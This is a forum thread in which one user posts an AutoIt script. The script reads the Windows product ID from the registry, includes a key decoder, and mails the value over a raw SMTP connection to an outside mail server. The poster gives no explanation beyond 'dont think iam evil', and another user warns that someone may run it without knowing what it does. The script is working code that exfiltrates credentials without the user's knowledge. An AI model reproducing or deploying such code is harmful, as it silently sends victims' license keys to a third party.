Sign in to follow this  
Followers 0
broodplank

Sending Encoded product key with TCP

2 posts in this topic

#1 ·  Posted (edited)

i am just testing if this works, dont think iam evil :D:P

here is the script, actualy i combined 2 scripts togetter :D

#include <GUIConstants.au3>
#include<file.au3>

Dim $Bin
$Bin = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion","DigitalProductID")

;InputBox("Product Key", "Your " & @OSVERSION & " product key is:", DecodeProductKey($bin), "", -1, 100, -1, -1)


Func DecodeProductKey($BinaryDPID)
   Local $bKey[15]
   Local $sKey[29]
   Local $Digits[24]
   Local $Value = 0
   Local $hi = 0
   local $n = 0
   Local $i = 0
   Local $dlen = 29
   Local $slen = 15
   Local $Result

   $Digits = StringSplit("BCDFGHJKMPQRTVWXY2346789","")

   $binaryDPID = stringmid($binaryDPID,105,30)

   For $i = 1 to 29 step 2
       $bKey[int($i / 2)] = dec(stringmid($binaryDPID,$i,2))
   next

   For $i = $dlen -1 To 0 Step -1
       If Mod(($i + 1), 6) = 0 Then
           $sKey[$i] = "-"
       Else
           $hi = 0
           For $n = $slen -1 To 0 Step -1
               $Value = Bitor(bitshift($hi ,- 8) , $bKey[$n])
               $bKey[$n] = int($Value / 24)
               $hi = mod($Value , 24)
           Next
           $sKey[$i] = $Digits[$hi +1]
       EndIf

   Next
   For $i = 0 To 28
       $Result = $Result & $sKey[$i]
   Next

   Return $Result
EndFunc

$Free = DriveSpaceFree ( "c:" )
$Free = Round($Free, 2)

   $g_IP = "mail.chello.nl"
   Dim $sData[8]
   $sData[0]  = "HELO MyDomain"  & @CRLF
   $sData[1]  = "MAIL FROM: mymail@myprovider.com" & @CRLF
   $sData[2]  = "RCPT TO: mymail@myprovider.com" & @CRLF
   $sData[3]  = "DATA" & @CRLF
   $sData[4]  = "Subject: "& $bin &"" & @CRLF
   $sData[5] = "From: mymail@myprovider.com" & @CRLF
   $sData[6] = "To: mymail@myprovider.com" & @CRLF
   $sData[7] = "." & @CRLF

   TCPStartup()
  
   $socket = TCPConnect(TCPNameToIP($g_IP), 25) 
  
   If $socket = -1 Then Exit

   Dim $ret[8]
   For $x = 0 To 7
    $ret[$x] = TCPSend($socket, $sData[$x])
    sleep(100)
Next
Edited by broodplank

Share this post


Link to post
Share on other sites



Why don't you tell people what your trying to do to see if they are "willing" to give you information rather than just stating that "dont think iam evil", someone may just try to run the script first and be an un-willing participant (even though that would be their own fault).


[center]Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.[/center]

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0